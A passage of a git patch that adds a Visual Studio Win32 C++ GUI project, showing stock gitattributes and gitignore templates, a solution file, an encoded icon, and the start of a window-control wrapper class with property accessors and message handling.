From 4ee74830b73f48ad96848fd2b0a39f9780aa1d26 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E9=BB=84=20=E6=9D=B0?= Date: Thu, 5 Jun 2025 10:57:43 +0800 Subject: [PATCH] 1 --- .gitattributes | 63 ++ .gitignore | 363 +++++++++ WinGUI.sln | 31 + WinGUI/AppIco.ico | Bin 0 -> 21174 bytes WinGUI/GUI/WinUI.cpp | 1355 +++++++++++++++++++++++++++++++++ WinGUI/GUI/WinUI.h | 377 +++++++++ WinGUI/MainWindow.cpp | 163 ++++ WinGUI/MainWindow.h | 18 + WinGUI/WinGUI.rc | Bin 0 -> 3228 bytes WinGUI/WinGUI.vcxproj | 279 +++++++ WinGUI/WinGUI.vcxproj.filters | 310 ++++++++ WinGUI/loader.bat | 621 +++++++++++++++ WinGUI/main.cpp | 234 ++++++ WinGUI/resource.h | 16 + 14 files changed, 3830 insertions(+) create mode 100644 .gitattributes create mode 100644 .gitignore create mode 100644 WinGUI.sln create mode 100644 WinGUI/AppIco.ico create mode 100644 WinGUI/GUI/WinUI.cpp create mode 100644 WinGUI/GUI/WinUI.h create mode 100644 WinGUI/MainWindow.cpp create mode 100644 WinGUI/MainWindow.h create mode 100644 WinGUI/WinGUI.rc create mode 100644 WinGUI/WinGUI.vcxproj create mode 100644 WinGUI/WinGUI.vcxproj.filters create mode 100644 WinGUI/loader.bat create mode 100644 WinGUI/main.cpp create mode 100644 WinGUI/resource.h diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..1ff0c42 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,63 @@ +############################################################################### +# Set default behavior to automatically normalize line endings. +############################################################################### +* text=auto + +############################################################################### +# Set default behavior for command prompt diff. +# +# This is need for earlier builds of msysgit that does not have it on by +# default for csharp files. +# Note: This is only used by command line +############################################################################### +#*.cs diff=csharp + +############################################################################### +# Set the merge driver for project and solution files +# +# Merging from the command prompt will add diff markers to the files if there +# are conflicts (Merging from VS is not affected by the settings below, in VS +# the diff markers are never inserted). Diff markers may cause the following +# file extensions to fail to load in VS. An alternative would be to treat +# these files as binary and thus will always conflict and require user +# intervention with every merge. To do so, just uncomment the entries below +############################################################################### +#*.sln merge=binary +#*.csproj merge=binary +#*.vbproj merge=binary +#*.vcxproj merge=binary +#*.vcproj merge=binary +#*.dbproj merge=binary +#*.fsproj merge=binary +#*.lsproj merge=binary +#*.wixproj merge=binary +#*.modelproj merge=binary +#*.sqlproj merge=binary +#*.wwaproj merge=binary + +############################################################################### +# behavior for image files +# +# image files are treated as binary by default. +############################################################################### +#*.jpg binary +#*.png binary +#*.gif binary + +############################################################################### +# diff behavior for common document formats +# +# Convert binary document formats to text before diffing them. This feature +# is only available from the command line. Turn it on by uncommenting the +# entries below. +############################################################################### +#*.doc diff=astextplain +#*.DOC diff=astextplain +#*.docx diff=astextplain +#*.DOCX diff=astextplain +#*.dot diff=astextplain +#*.DOT diff=astextplain +#*.pdf diff=astextplain +#*.PDF diff=astextplain +#*.rtf diff=astextplain +#*.RTF diff=astextplain diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..9491a2f --- /dev/null +++ b/.gitignore @@ -0,0 +1,363 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. +## +## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore + +# User-specific files +*.rsuser +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Mono auto generated files +mono_crash.* + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +[Ww][Ii][Nn]32/ +[Aa][Rr][Mm]/ +[Aa][Rr][Mm]64/ +bld/ +[Bb]in/ +[Oo]bj/ +[Oo]ut/ +[Ll]og/ +[Ll]ogs/ + +# Visual Studio 2015/2017 cache/options directory +.vs/ +# Uncomment if you have tasks that create the project's static files in wwwroot +#wwwroot/ + +# Visual Studio 2017 auto generated files +Generated\ Files/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +# NUnit +*.VisualState.xml +TestResult.xml +nunit-*.xml + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# Benchmark Results +BenchmarkDotNet.Artifacts/ + +# .NET Core +project.lock.json +project.fragment.lock.json +artifacts/ + +# ASP.NET Scaffolding +ScaffoldingReadMe.txt + +# StyleCop +StyleCopReport.xml + +# Files built by Visual Studio +*_i.c +*_p.c +*_h.h +*.ilk +*.meta +*.obj +*.iobj +*.pch +*.pdb +*.ipdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*_wpftmp.csproj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opendb +*.opensdf +*.sdf +*.cachefile +*.VC.db +*.VC.VC.opendb + +# Visual Studio profiler +*.psess +*.vsp +*.vspx +*.sap + +# Visual Studio Trace Files +*.e2e + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# AxoCover is a Code Coverage Tool +.axoCover/* +!.axoCover/settings.json + +# Coverlet is a free, cross platform Code Coverage Tool +coverage*.json +coverage*.xml +coverage*.info + +# Visual Studio code coverage results +*.coverage +*.coveragexml + +# NCrunch +_NCrunch_* +.*crunch*.local.xml +nCrunchTemp_* + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# Note: Comment the next line if you want to checkin your web deploy settings, +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# Microsoft Azure Web App publish settings. Comment the next line if you want to +# checkin your Azure Web App publish settings, but sensitive information contained +# in these scripts will be unencrypted +PublishScripts/ + +# NuGet Packages +*.nupkg +# NuGet Symbol Packages +*.snupkg +# The packages folder can be ignored because of Package Restore +**/[Pp]ackages/* +# except build/, which is used as an MSBuild target. +!**/[Pp]ackages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/[Pp]ackages/repositories.config +# NuGet v3's project.json files produces more ignorable files +*.nuget.props +*.nuget.targets + +# Microsoft Azure Build Output +csx/ +*.build.csdef + +# Microsoft Azure Emulator +ecf/ +rcf/ + +# Windows Store app package directories and files +AppPackages/ +BundleArtifacts/ +Package.StoreAssociation.xml +_pkginfo.txt +*.appx +*.appxbundle +*.appxupload + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!?*.[Cc]ache/ + +# Others +ClientBin/ +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.jfm +*.pfx +*.publishsettings +orleans.codegen.cs + +# Including strong name files can present a security risk +# (https://github.com/github/gitignore/pull/2483#issue-259490424) +#*.snk + +# Since there are multiple workflows, uncomment next line to ignore bower_components +# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) +#bower_components/ + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm +ServiceFabricBackup/ +*.rptproj.bak + +# SQL Server files +*.mdf +*.ldf +*.ndf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings +*.rptproj.rsuser +*- [Bb]ackup.rdl +*- [Bb]ackup ([0-9]).rdl +*- [Bb]ackup ([0-9][0-9]).rdl + +# Microsoft Fakes +FakesAssemblies/ + +# GhostDoc plugin setting file +*.GhostDoc.xml + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat +node_modules/ + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt + +# Visual Studio 6 auto-generated workspace file (contains which files were open etc.) +*.vbw + +# Visual Studio LightSwitch build output +**/*.HTMLClient/GeneratedArtifacts +**/*.DesktopClient/GeneratedArtifacts +**/*.DesktopClient/ModelManifest.xml +**/*.Server/GeneratedArtifacts +**/*.Server/ModelManifest.xml +_Pvt_Extensions + +# Paket dependency manager +.paket/paket.exe +paket-files/ + +# FAKE - F# Make +.fake/ + +# CodeRush personal settings +.cr/personal + +# Python Tools for Visual Studio (PTVS) +__pycache__/ +*.pyc + +# Cake - Uncomment if you are using it +# tools/** +# !tools/packages.config + +# Tabs Studio +*.tss + +# Telerik's JustMock configuration file +*.jmconfig + +# BizTalk build output +*.btp.cs +*.btm.cs +*.odx.cs +*.xsd.cs + +# OpenCover UI analysis results +OpenCover/ + +# Azure Stream Analytics local run output +ASALocalRun/ + +# MSBuild Binary and Structured Log +*.binlog + +# NVidia Nsight GPU debugger configuration file +*.nvuser + +# MFractors (Xamarin productivity tool) working folder +.mfractor/ + +# Local History for Visual Studio +.localhistory/ + +# BeatPulse healthcheck temp database +healthchecksdb + +# Backup folder for Package Reference Convert tool in Visual Studio 2017 +MigrationBackup/ + +# Ionide (cross platform F# VS Code tools) working folder +.ionide/ + +# Fody - auto-generated XML schema +FodyWeavers.xsd \ No newline at end of file diff --git a/WinGUI.sln b/WinGUI.sln new file mode 100644 index 0000000..74aa36b --- /dev/null +++ b/WinGUI.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.9.34701.34 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "WinGUI", "WinGUI\WinGUI.vcxproj", "{CA76A14F-63EC-4054-97C5-D0B57520CD3F}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {CA76A14F-63EC-4054-97C5-D0B57520CD3F}.Debug|x64.ActiveCfg = Debug|x64 + {CA76A14F-63EC-4054-97C5-D0B57520CD3F}.Debug|x64.Build.0 = Debug|x64 + {CA76A14F-63EC-4054-97C5-D0B57520CD3F}.Debug|x86.ActiveCfg = Debug|Win32 + {CA76A14F-63EC-4054-97C5-D0B57520CD3F}.Debug|x86.Build.0 = Debug|Win32 + {CA76A14F-63EC-4054-97C5-D0B57520CD3F}.Release|x64.ActiveCfg = Release|x64 + {CA76A14F-63EC-4054-97C5-D0B57520CD3F}.Release|x64.Build.0 = Release|x64 + {CA76A14F-63EC-4054-97C5-D0B57520CD3F}.Release|x86.ActiveCfg = Release|Win32 + {CA76A14F-63EC-4054-97C5-D0B57520CD3F}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {ABD5BF52-B056-476F-B8D5-6A610CA662D7} + EndGlobalSection +EndGlobal diff --git a/WinGUI/AppIco.ico b/WinGUI/AppIco.ico new file mode 100644 index 0000000000000000000000000000000000000000..b794b621bfafb500ec1911036e0e9806428619f3 GIT binary patch literal 21174 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 ODv +#include +#include +#include +#pragma comment(lib, "Comctl32.lib") +#define ID_EDITCHILD 100 + +LRESULT CALLBACK Control::CAPTURED_MESSAGE_PROCESS(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + Control* wnd = (Control*)GetWindowLongPtrW(hWnd, GWLP_USERDATA); + if (wnd == NULL && (message == WM_NCCREATE || message == WM_CREATE)) + wnd = (Control*)((LPCREATESTRUCTW)(lParam))->lpCreateParams; + if (wnd != NULL) + { + //printf("%ws : %X --- %X\n", wnd->Class.c_str(), message, HIWORD(wParam)); + return wnd->MESSAGE_PROCESS(hWnd, message, wParam, lParam); + } + else if (message == WM_COMMAND) + { + HWND hwnd = (HWND)lParam; + Control* child = (Control*)GetWindowLongPtrW(hwnd, GWLP_USERDATA); + //printf("%ws : %X --- %X\n", child->Class.c_str(), message, HIWORD(wParam)); + if (!child) + { + return DefWindowProc(hWnd, message, wParam, lParam); + } + return child->ProcessEvent(hWnd, message, wParam, lParam); + } + else + { + return DefWindowProc(hWnd, message, wParam, lParam); + } +} +HFONT Control::DefaultFont() +{ + LOGFONT logfont = {}; + logfont.lfHeight = 14; + wcscpy_s(logfont.lfFaceName, L"AR PL UKai CN"); + return CreateFontIndirect(&logfont); +} +Control::Control() +{ +} +void Control::CaptureMessage() +{ + MESSAGE_PROCESS = (decltype(MESSAGE_PROCESS))SetWindowLongPtr(m_Handle, GWLP_WNDPROC, (LONG_PTR)CAPTURED_MESSAGE_PROCESS); +} +GET_CPP(Control, HWND, Parent) +{ + return ::GetParent(this->m_Handle); +} +SET_CPP(Control, HWND, Parent) +{ + ::SetParent(this->m_Handle, value); +} +GET_CPP(Control, Control*, ParentControl) +{ + return (Control*)GetWindowLongPtrW(::GetParent(this->m_Handle), GWLP_USERDATA); +} +SET_CPP(Control, Control*, ParentControl) +{ + ::SetParent(this->m_Handle, value->m_Handle); +} +GET_CPP(Control, DWORD, Style) +{ + return GetWindowLong(this->m_Handle, GWL_STYLE); +} +SET_CPP(Control, DWORD, Style) +{ + SetWindowLong(this->m_Handle, GWL_STYLE, value); +} +GET_CPP(Control, DWORD, StyleEx) +{ + return GetWindowLong(this->m_Handle, GWL_EXSTYLE); +} +SET_CPP(Control, DWORD, StyleEx) +{ + SetWindowLong(this->m_Handle, GWL_EXSTYLE, value); +} +GET_CPP(Control, std::wstring, Class) +{ + wchar_t buffer[256]; + ::GetClassNameW(this->m_Handle, buffer, 256); + return buffer; +} +GET_CPP(Control, std::wstring, Text) +{ + int len = GetWindowTextLengthW(this->m_Handle); + std::wstring str; + str.resize(len); + GetWindowTextW(this->m_Handle, str.data(), len + 1); + return str; +} +SET_CPP(Control, std::wstring, Text) +{ + SetWindowTextW(this->m_Handle, value.c_str()); +} +GET_CPP(Control, int, Width) +{ + RECT rc; + GetWindowRect(this->m_Handle, &rc); + return rc.right - rc.left; +} +SET_CPP(Control, int, Width) +{ + RECT rc; + GetWindowRect(this->m_Handle, &rc); + MoveWindow(this->m_Handle, rc.left, rc.top, value, rc.bottom - rc.top, TRUE); +} +GET_CPP(Control, int, Height) +{ + RECT rc; + GetWindowRect(this->m_Handle, &rc); + return rc.bottom - rc.top; +} +SET_CPP(Control, int, Height) +{ + RECT rc; + GetWindowRect(this->m_Handle, &rc); + MoveWindow(this->m_Handle, rc.left, rc.top, rc.right - rc.left, value, TRUE); +} +GET_CPP(Control, int, Left) +{ + RECT rc; + GetWindowRect(this->m_Handle, &rc); + return rc.left; +} +SET_CPP(Control, int, Left) +{ + RECT rc; + GetWindowRect(this->m_Handle, &rc); + MoveWindow(this->m_Handle, value, rc.top, rc.right - rc.left, rc.bottom - rc.top, TRUE); +} +GET_CPP(Control, int, Top) +{ + RECT rc; + GetWindowRect(this->m_Handle, &rc); + return rc.top; +} +SET_CPP(Control, int, Top) +{ + RECT rc; + GetWindowRect(this->m_Handle, &rc); + MoveWindow(this->m_Handle, rc.left, value, rc.right - rc.left, rc.bottom - rc.top, TRUE); +} +GET_CPP(Control, int, X) +{ + RECT rc; + GetWindowRect(this->m_Handle, &rc); + return rc.left; +} +SET_CPP(Control, int, X) +{ + RECT rc; + GetWindowRect(this->m_Handle, &rc); + MoveWindow(this->m_Handle, value, rc.top, rc.right - rc.left, rc.bottom - rc.top, TRUE); +} +GET_CPP(Control, int, Y) +{ + RECT rc; + GetWindowRect(this->m_Handle, &rc); + return rc.top; +} +SET_CPP(Control, int, Y) +{ + RECT rc; + GetWindowRect(this->m_Handle, &rc); + MoveWindow(this->m_Handle, rc.left, value, rc.right - rc.left, rc.bottom - rc.top, TRUE); +} + +GET_CPP(Control, int, Right) +{ + RECT rc; + GetWindowRect(this->m_Handle, &rc); + return rc.right; +} +SET_CPP(Control, int, Right) +{ + RECT rc; + GetWindowRect(this->m_Handle, &rc); + MoveWindow(this->m_Handle, rc.left, rc.top, value, rc.bottom - rc.top, TRUE); +} +GET_CPP(Control, int, Bottom) +{ + RECT rc; + GetWindowRect(this->m_Handle, &rc); + return rc.bottom; +} +SET_CPP(Control, int, Bottom) +{ + RECT rc; + GetWindowRect(this->m_Handle, &rc); + MoveWindow(this->m_Handle, rc.left, rc.top, rc.right - rc.left, value, TRUE); +} + +GET_CPP(Control, BOOL, Checked) +{ + return SendMessage(this->m_Handle, BM_GETCHECK, 0, 0); +} +SET_CPP(Control, BOOL, Checked) +{ + SendMessage(this->m_Handle, BM_SETCHECK, value, 0); +} +GET_CPP(Control, RECT, Rect) +{ + RECT rc; + GetWindowRect(this->m_Handle, &rc); + return rc; +} +SET_CPP(Control, RECT, Rect) +{ + MoveWindow(this->m_Handle, value.left, value.top, value.right - value.left, value.bottom - value.top, TRUE); +} +GET_CPP(Control, POINT, Location) +{ + auto rect = this->Rect; + return POINT{ rect.left,rect.top }; +} +SET_CPP(Control, POINT, Location) +{ + auto rect = this->Rect; + MoveWindow(this->m_Handle, value.x, value.y, rect.right - rect.left, rect.bottom - rect.top, TRUE); +} +GET_CPP(Control, SIZE, Size) +{ + auto rect = this->Rect; + return SIZE{ rect.right - rect.left ,rect.bottom - rect.top }; +} +SET_CPP(Control, SIZE, Size) +{ + auto rect = this->Rect; + MoveWindow(this->m_Handle, rect.left, rect.top, value.cx, value.cy, FALSE); +} +GET_CPP(Control, BOOL, Enable) +{ + return IsWindowEnabled(this->m_Handle); +} +SET_CPP(Control, BOOL, Enable) +{ + EnableWindow(this->m_Handle, value); +} +GET_CPP(Control, BOOL, Visable) +{ + return IsWindowVisible(this->m_Handle); +} +SET_CPP(Control, BOOL, Visable) +{ + ShowWindow(this->m_Handle, value ? SW_SHOWNORMAL : SW_HIDE); +} +GET_CPP(Control, COLORREF, ForeColor) +{ + return GetTextColor(GetDC(this->m_Handle)); +} +SET_CPP(Control, COLORREF, ForeColor) +{ + SetTextColor(GetDC(this->m_Handle), value); +} +GET_CPP(Control, COLORREF, BackColor) +{ + return GetBkColor(GetDC(this->m_Handle)); +} +SET_CPP(Control, COLORREF, BackColor) +{ + SetBkColor(GetDC(this->m_Handle), value); +} +GET_CPP(Control, std::vector, Childens) +{ + std::vector result = std::vector(); + HWND hWnd = GetWindow(this->m_Handle, GW_CHILD); + while (hWnd) + { + Control* control = (Control*)::GetWindowLongPtrW(hWnd, GWLP_USERDATA); + if (control) + result.push_back(control); + hWnd = GetWindow(hWnd, GW_HWNDNEXT); + } + return result; +} +GET_CPP(Control, std::vector, ChildHandles) +{ + std::vector result = std::vector(); + HWND hWnd = GetWindow(this->m_Handle, GW_CHILD); + while (hWnd) + { + result.push_back(hWnd); + hWnd = GetWindow(hWnd, GW_HWNDNEXT); + } + return result; +} +GET_CPP(Control, HBITMAP, Bitmap) +{ + return (HBITMAP)SendMessage(this->m_Handle, STM_GETIMAGE, IMAGE_BITMAP, 0); +} +SET_CPP(Control, HBITMAP, Bitmap) +{ + SendMessage(this->m_Handle, STM_SETIMAGE, IMAGE_BITMAP, (LPARAM)value); +} +GET_CPP(Control, HWND, TopLevelHandle) +{ + return GetAncestor(this->m_Handle, GA_ROOT); +} +GET_CPP(Control, class Window*, TopLevelWindow) +{ + HWND hTopLevel = GetAncestor(this->m_Handle, GA_ROOT); + class Window* wnd = (class Window*)GetWindowLongPtrW(hTopLevel, GWLP_USERDATA); + return wnd; +} +GET_CPP(Control, HFONT, Font) +{ + return (HFONT)SendMessage(this->m_Handle, WM_GETFONT, 0, TRUE); +} +SET_CPP(Control, HFONT, Font) +{ + SendMessage(this->m_Handle, WM_SETFONT, (WPARAM)value, TRUE); +} +void Control::SetRect(POINT location, SIZE size) +{ + this->Rect = RECT{ location.x,location.y ,location.x + size.cx,location.y + size.cy }; +} +void Control::SetRect(int x, int y, int width, int height) +{ + this->Rect = RECT{ x,y ,x + width,y + height }; +} +BOOL Control::RemoveChild(Control* child) +{ + if (child->Parent == this->m_Handle) + { + child->Parent = NULL; + return TRUE; + } + return FALSE; +} +void Control::SetFont(std::wstring fontName, int fontSize) +{ + LOGFONT logfont = {}; + logfont.lfHeight = fontSize; + wcscpy_s(logfont.lfFaceName, fontName.c_str()); + HFONT hFont = CreateFontIndirect(&logfont); + SendMessage(this->m_Handle, WM_SETFONT, (WPARAM)hFont, TRUE); +} +LRESULT Control::ProcessEvent(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + //case WM_CTLCOLORSTATIC: + //{ + // SetBkMode((HDC)wParam, TRANSPARENT); + // return (LRESULT)GetStockObject(WHITE_BRUSH); + //} + case WM_MOUSEWHEEL: + this->OnMouseWheel(this, hWnd, message, wParam, lParam); + break; + case WM_MOUSEMOVE: + this->OnMouseMove(this, hWnd, message, wParam, lParam); + break; + case WM_LBUTTONDOWN: + this->OnMouseLeftButtonDown(this, hWnd, message, wParam, lParam); + break; + 